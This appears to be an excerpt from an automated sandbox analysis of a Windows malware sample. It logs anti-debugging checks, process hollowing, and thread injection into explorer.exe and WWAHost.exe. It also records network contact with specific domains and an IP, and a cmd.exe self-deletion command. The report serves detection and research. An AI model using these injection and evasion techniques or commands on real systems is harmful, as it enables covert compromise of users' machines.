Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C7F0BF mov ecx, dword ptr fs:[00000030h]	11_2_03C7F0BF
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C7F0BF mov eax, dword ptr fs:[00000030h]	11_2_03C7F0BF
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C7F0BF mov eax, dword ptr fs:[00000030h]	11_2_03C7F0BF
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C60050 mov eax, dword ptr fs:[00000030h]	11_2_03C60050
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C60050 mov eax, dword ptr fs:[00000030h]	11_2_03C60050
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03D02073 mov eax, dword ptr fs:[00000030h]	11_2_03D02073
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03D11074 mov eax, dword ptr fs:[00000030h]	11_2_03D11074
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03D14015 mov eax, dword ptr fs:[00000030h]	11_2_03D14015
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03D14015 mov eax, dword ptr fs:[00000030h]	11_2_03D14015
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03CC7016 mov eax, dword ptr fs:[00000030h]	11_2_03CC7016
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03CC7016 mov eax, dword ptr fs:[00000030h]	11_2_03CC7016
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03CC7016 mov eax, dword ptr fs:[00000030h]	11_2_03CC7016
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C7002D mov eax, dword ptr fs:[00000030h]	11_2_03C7002D
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C7002D mov eax, dword ptr fs:[00000030h]	11_2_03C7002D
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C7002D mov eax, dword ptr fs:[00000030h]	11_2_03C7002D
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C7002D mov eax, dword ptr fs:[00000030h]	11_2_03C7002D
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C7002D mov eax, dword ptr fs:[00000030h]	11_2_03C7002D
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C5B02A mov eax, dword ptr fs:[00000030h]	11_2_03C5B02A
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C5B02A mov eax, dword ptr fs:[00000030h]	11_2_03C5B02A
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C5B02A mov eax, dword ptr fs:[00000030h]	11_2_03C5B02A
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C5B02A mov eax, dword ptr fs:[00000030h]	11_2_03C5B02A
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C6A830 mov eax, dword ptr fs:[00000030h]	11_2_03C6A830
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C6A830 mov eax, dword ptr fs:[00000030h]	11_2_03C6A830
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C6A830 mov eax, dword ptr fs:[00000030h]	11_2_03C6A830
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C6A830 mov eax, dword ptr fs:[00000030h]	11_2_03C6A830
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C837F5 mov eax, dword ptr fs:[00000030h]	11_2_03C837F5
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C58794 mov eax, dword ptr fs:[00000030h]	11_2_03C58794
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03CC7794 mov eax, dword ptr fs:[00000030h]	11_2_03CC7794
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03CC7794 mov eax, dword ptr fs:[00000030h]	11_2_03CC7794
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03CC7794 mov eax, dword ptr fs:[00000030h]	11_2_03CC7794
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C5EF40 mov eax, dword ptr fs:[00000030h]	11_2_03C5EF40
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C5FF60 mov eax, dword ptr fs:[00000030h]	11_2_03C5FF60
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03D18F6A mov eax, dword ptr fs:[00000030h]	11_2_03D18F6A
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C7A70E mov eax, dword ptr fs:[00000030h]	11_2_03C7A70E
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C7A70E mov eax, dword ptr fs:[00000030h]	11_2_03C7A70E
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C6F716 mov eax, dword ptr fs:[00000030h]	11_2_03C6F716
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03D1070D mov eax, dword ptr fs:[00000030h]	11_2_03D1070D
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03D1070D mov eax, dword ptr fs:[00000030h]	11_2_03D1070D
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03CDFF10 mov eax, dword ptr fs:[00000030h]	11_2_03CDFF10
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03CDFF10 mov eax, dword ptr fs:[00000030h]	11_2_03CDFF10
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C44F2E mov eax, dword ptr fs:[00000030h]	11_2_03C44F2E
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C44F2E mov eax, dword ptr fs:[00000030h]	11_2_03C44F2E
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C7E730 mov eax, dword ptr fs:[00000030h]	11_2_03C7E730
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03D18ED6 mov eax, dword ptr fs:[00000030h]	11_2_03D18ED6
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C736CC mov eax, dword ptr fs:[00000030h]	11_2_03C736CC
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03CFFEC0 mov eax, dword ptr fs:[00000030h]	11_2_03CFFEC0
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C88EC7 mov eax, dword ptr fs:[00000030h]	11_2_03C88EC7
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C716E0 mov ecx, dword ptr fs:[00000030h]	11_2_03C716E0
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C576E2 mov eax, dword ptr fs:[00000030h]	11_2_03C576E2
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03CDFE87 mov eax, dword ptr fs:[00000030h]	11_2_03CDFE87
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03CC46A7 mov eax, dword ptr fs:[00000030h]	11_2_03CC46A7
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03D10EA5 mov eax, dword ptr fs:[00000030h]	11_2_03D10EA5
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03D10EA5 mov eax, dword ptr fs:[00000030h]	11_2_03D10EA5
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03D10EA5 mov eax, dword ptr fs:[00000030h]	11_2_03D10EA5
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C57E41 mov eax, dword ptr fs:[00000030h]	11_2_03C57E41
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C57E41 mov eax, dword ptr fs:[00000030h]	11_2_03C57E41
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C57E41 mov eax, dword ptr fs:[00000030h]	11_2_03C57E41
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C57E41 mov eax, dword ptr fs:[00000030h]	11_2_03C57E41
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C57E41 mov eax, dword ptr fs:[00000030h]	11_2_03C57E41
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C57E41 mov eax, dword ptr fs:[00000030h]	11_2_03C57E41
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03D0AE44 mov eax, dword ptr fs:[00000030h]	11_2_03D0AE44
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03D0AE44 mov eax, dword ptr fs:[00000030h]	11_2_03D0AE44
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C5766D mov eax, dword ptr fs:[00000030h]	11_2_03C5766D
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C6AE73 mov eax, dword ptr fs:[00000030h]	11_2_03C6AE73
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C6AE73 mov eax, dword ptr fs:[00000030h]	11_2_03C6AE73
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C6AE73 mov eax, dword ptr fs:[00000030h]	11_2_03C6AE73
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C6AE73 mov eax, dword ptr fs:[00000030h]	11_2_03C6AE73
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C6AE73 mov eax, dword ptr fs:[00000030h]	11_2_03C6AE73
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C4C600 mov eax, dword ptr fs:[00000030h]	11_2_03C4C600
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C4C600 mov eax, dword ptr fs:[00000030h]	11_2_03C4C600
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C4C600 mov eax, dword ptr fs:[00000030h]	11_2_03C4C600
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C78E00 mov eax, dword ptr fs:[00000030h]	11_2_03C78E00
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03D01608 mov eax, dword ptr fs:[00000030h]	11_2_03D01608
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C7A61C mov eax, dword ptr fs:[00000030h]	11_2_03C7A61C
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C7A61C mov eax, dword ptr fs:[00000030h]	11_2_03C7A61C
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C4E620 mov eax, dword ptr fs:[00000030h]	11_2_03C4E620
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03CFFE3F mov eax, dword ptr fs:[00000030h]	11_2_03CFFE3F
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03CC6DC9 mov eax, dword ptr fs:[00000030h]	11_2_03CC6DC9
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03CC6DC9 mov eax, dword ptr fs:[00000030h]	11_2_03CC6DC9
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03CC6DC9 mov eax, dword ptr fs:[00000030h]	11_2_03CC6DC9
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03CC6DC9 mov ecx, dword ptr fs:[00000030h]	11_2_03CC6DC9
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03CC6DC9 mov eax, dword ptr fs:[00000030h]	11_2_03CC6DC9
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03CC6DC9 mov eax, dword ptr fs:[00000030h]	11_2_03CC6DC9
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C5D5E0 mov eax, dword ptr fs:[00000030h]	11_2_03C5D5E0
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C5D5E0 mov eax, dword ptr fs:[00000030h]	11_2_03C5D5E0
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03D0FDE2 mov eax, dword ptr fs:[00000030h]	11_2_03D0FDE2
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03D0FDE2 mov eax, dword ptr fs:[00000030h]	11_2_03D0FDE2
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03D0FDE2 mov eax, dword ptr fs:[00000030h]	11_2_03D0FDE2
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03D0FDE2 mov eax, dword ptr fs:[00000030h]	11_2_03D0FDE2
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03CF8DF1 mov eax, dword ptr fs:[00000030h]	11_2_03CF8DF1
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C72581 mov eax, dword ptr fs:[00000030h]	11_2_03C72581
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C72581 mov eax, dword ptr fs:[00000030h]	11_2_03C72581
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C72581 mov eax, dword ptr fs:[00000030h]	11_2_03C72581
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C72581 mov eax, dword ptr fs:[00000030h]	11_2_03C72581
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C42D8A mov eax, dword ptr fs:[00000030h]	11_2_03C42D8A
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C42D8A mov eax, dword ptr fs:[00000030h]	11_2_03C42D8A
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C42D8A mov eax, dword ptr fs:[00000030h]	11_2_03C42D8A
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C42D8A mov eax, dword ptr fs:[00000030h]	11_2_03C42D8A
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C42D8A mov eax, dword ptr fs:[00000030h]	11_2_03C42D8A
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C7FD9B mov eax, dword ptr fs:[00000030h]	11_2_03C7FD9B
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C7FD9B mov eax, dword ptr fs:[00000030h]	11_2_03C7FD9B
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C735A1 mov eax, dword ptr fs:[00000030h]	11_2_03C735A1
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C71DB5 mov eax, dword ptr fs:[00000030h]	11_2_03C71DB5
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C71DB5 mov eax, dword ptr fs:[00000030h]	11_2_03C71DB5
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C71DB5 mov eax, dword ptr fs:[00000030h]	11_2_03C71DB5
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03D105AC mov eax, dword ptr fs:[00000030h]	11_2_03D105AC
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03D105AC mov eax, dword ptr fs:[00000030h]	11_2_03D105AC
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C83D43 mov eax, dword ptr fs:[00000030h]	11_2_03C83D43
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03CC3540 mov eax, dword ptr fs:[00000030h]	11_2_03CC3540
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03CF3D40 mov eax, dword ptr fs:[00000030h]	11_2_03CF3D40
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C67D50 mov eax, dword ptr fs:[00000030h]	11_2_03C67D50
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C6C577 mov eax, dword ptr fs:[00000030h]	11_2_03C6C577
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C6C577 mov eax, dword ptr fs:[00000030h]	11_2_03C6C577
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03D18D34 mov eax, dword ptr fs:[00000030h]	11_2_03D18D34
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03D0E539 mov eax, dword ptr fs:[00000030h]	11_2_03D0E539
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C53D34 mov eax, dword ptr fs:[00000030h]	11_2_03C53D34
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C53D34 mov eax, dword ptr fs:[00000030h]	11_2_03C53D34
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C53D34 mov eax, dword ptr fs:[00000030h]	11_2_03C53D34
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C53D34 mov eax, dword ptr fs:[00000030h]	11_2_03C53D34
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C53D34 mov eax, dword ptr fs:[00000030h]	11_2_03C53D34
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C53D34 mov eax, dword ptr fs:[00000030h]	11_2_03C53D34
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C53D34 mov eax, dword ptr fs:[00000030h]	11_2_03C53D34
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C53D34 mov eax, dword ptr fs:[00000030h]	11_2_03C53D34
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C53D34 mov eax, dword ptr fs:[00000030h]	11_2_03C53D34
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C53D34 mov eax, dword ptr fs:[00000030h]	11_2_03C53D34
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C53D34 mov eax, dword ptr fs:[00000030h]	11_2_03C53D34
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C53D34 mov eax, dword ptr fs:[00000030h]	11_2_03C53D34
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C53D34 mov eax, dword ptr fs:[00000030h]	11_2_03C53D34
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C4AD30 mov eax, dword ptr fs:[00000030h]	11_2_03C4AD30
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03CCA537 mov eax, dword ptr fs:[00000030h]	11_2_03CCA537
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C74D3B mov eax, dword ptr fs:[00000030h]	11_2_03C74D3B
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C74D3B mov eax, dword ptr fs:[00000030h]	11_2_03C74D3B
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C74D3B mov eax, dword ptr fs:[00000030h]	11_2_03C74D3B
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03D18CD6 mov eax, dword ptr fs:[00000030h]	11_2_03D18CD6
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03D014FB mov eax, dword ptr fs:[00000030h]	11_2_03D014FB
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03CC6CF0 mov eax, dword ptr fs:[00000030h]	11_2_03CC6CF0
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03CC6CF0 mov eax, dword ptr fs:[00000030h]	11_2_03CC6CF0
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03CC6CF0 mov eax, dword ptr fs:[00000030h]	11_2_03CC6CF0
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C5849B mov eax, dword ptr fs:[00000030h]	11_2_03C5849B
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C7A44B mov eax, dword ptr fs:[00000030h]	11_2_03C7A44B
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03CDC450 mov eax, dword ptr fs:[00000030h]	11_2_03CDC450
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03CDC450 mov eax, dword ptr fs:[00000030h]	11_2_03CDC450
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C6746D mov eax, dword ptr fs:[00000030h]	11_2_03C6746D
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03CC6C0A mov eax, dword ptr fs:[00000030h]	11_2_03CC6C0A
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03CC6C0A mov eax, dword ptr fs:[00000030h]	11_2_03CC6C0A
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03CC6C0A mov eax, dword ptr fs:[00000030h]	11_2_03CC6C0A
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03CC6C0A mov eax, dword ptr fs:[00000030h]	11_2_03CC6C0A
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03D01C06 mov eax, dword ptr fs:[00000030h]	11_2_03D01C06
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03D01C06 mov eax, dword ptr fs:[00000030h]	11_2_03D01C06
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03D01C06 mov eax, dword ptr fs:[00000030h]	11_2_03D01C06
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03D01C06 mov eax, dword ptr fs:[00000030h]	11_2_03D01C06
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03D01C06 mov eax, dword ptr fs:[00000030h]	11_2_03D01C06
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03D01C06 mov eax, dword ptr fs:[00000030h]	11_2_03D01C06
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03D01C06 mov eax, dword ptr fs:[00000030h]	11_2_03D01C06
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03D01C06 mov eax, dword ptr fs:[00000030h]	11_2_03D01C06
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03D01C06 mov eax, dword ptr fs:[00000030h]	11_2_03D01C06
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03D01C06 mov eax, dword ptr fs:[00000030h]	11_2_03D01C06
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03D01C06 mov eax, dword ptr fs:[00000030h]	11_2_03D01C06
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03D01C06 mov eax, dword ptr fs:[00000030h]	11_2_03D01C06
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03D01C06 mov eax, dword ptr fs:[00000030h]	11_2_03D01C06
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03D01C06 mov eax, dword ptr fs:[00000030h]	11_2_03D01C06
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03D1740D mov eax, dword ptr fs:[00000030h]	11_2_03D1740D
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03D1740D mov eax, dword ptr fs:[00000030h]	11_2_03D1740D
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03D1740D mov eax, dword ptr fs:[00000030h]	11_2_03D1740D
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C7BC2C mov eax, dword ptr fs:[00000030h]	11_2_03C7BC2C

Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Windows\SysWOW64\WWAHost.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Users\user\Desktop\7TupDHKAwm.exe

Code function: 6_2_0040ACF0 LdrLoadDll,

6_2_0040ACF0

Source: C:\Users\user\Desktop\7TupDHKAwm.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion:

System process connects to network (likely due to code injection or exploit)

Show sources

Source: C:\Windows\explorer.exe	Domain query: www.amazonretoure.net
Source: C:\Windows\explorer.exe	Network Connect: 46.38.243.234 80	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: www.lenovoidc.com

Sample uses process hollowing technique

Show sources

Source: C:\Users\user\Desktop\7TupDHKAwm.exe

Section unmapped: C:\Windows\SysWOW64\WWAHost.exe base address: BB0000

Jump to behavior

Maps a DLL or memory area into another process

Show sources

Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Section loaded: unknown target: C:\Windows\SysWOW64\WWAHost.exe protection: execute and read and write	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Section loaded: unknown target: C:\Windows\SysWOW64\WWAHost.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\WWAHost.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\WWAHost.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write	Jump to behavior

Injects a PE file into a foreign processes

Show sources

Source: C:\Users\user\Desktop\7TupDHKAwm.exe

Memory written: C:\Users\user\Desktop\7TupDHKAwm.exe base: 400000 value starts with: 4D5A

Jump to behavior

Queues an APC in another process (thread injection)

Show sources

Source: C:\Users\user\Desktop\7TupDHKAwm.exe

Thread APC queued: target process: C:\Windows\explorer.exe

Jump to behavior

Modifies the context of a thread in another process (thread injection)

Show sources

Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Thread register set: target process: 3424			Jump to behavior
Source: C:\Windows\SysWOW64\WWAHost.exe	Thread register set: target process: 3424			Jump to behavior

Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Process created: C:\Users\user\Desktop\7TupDHKAwm.exe C:\Users\user\Desktop\7TupDHKAwm.exe			Jump to behavior
Source: C:\Windows\SysWOW64\WWAHost.exe	Process created: C:\Windows\SysWOW64\cmd.exe /c del 'C:\Users\user\Desktop\7TupDHKAwm.exe'			Jump to behavior

Source: explorer.exe, 00000008.00000000.704144517.0000000000AD8000.00000004.00000020.sdmp	Binary or memory string: ProgmanMD6
Source: explorer.exe, 00000008.00000000.704585751.0000000001080000.00000002.00020000.sdmp, WWAHost.exe, 0000000B.00000002.925402557.00000000052B0000.00000002.00020000.sdmp	Binary or memory string: Program Manager
Source: explorer.exe, 00000008.00000000.704585751.0000000001080000.00000002.00020000.sdmp, WWAHost.exe, 0000000B.00000002.925402557.00000000052B0000.00000002.00020000.sdmp	Binary or memory string: Shell_TrayWnd
Source: explorer.exe, 00000008.00000000.704585751.0000000001080000.00000002.00020000.sdmp, WWAHost.exe, 0000000B.00000002.925402557.00000000052B0000.00000002.00020000.sdmp	Binary or memory string: Progman
Source: explorer.exe, 00000008.00000000.704585751.0000000001080000.00000002.00020000.sdmp, WWAHost.exe, 0000000B.00000002.925402557.00000000052B0000.00000002.00020000.sdmp	Binary or memory string: Progmanlock
Source: explorer.exe, 00000008.00000000.697945168.000000000A716000.00000004.00000001.sdmp	Binary or memory string: Shell_TrayWnd5D

Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Users\user\Desktop\7TupDHKAwm.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\arial.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\ariali.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\arialbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\arialbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\ARIALN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\ariblk.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\ARIALNI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\ARIALNB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\ARIALNBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\calibri.ttf VolumeInformation	Jump to behavior
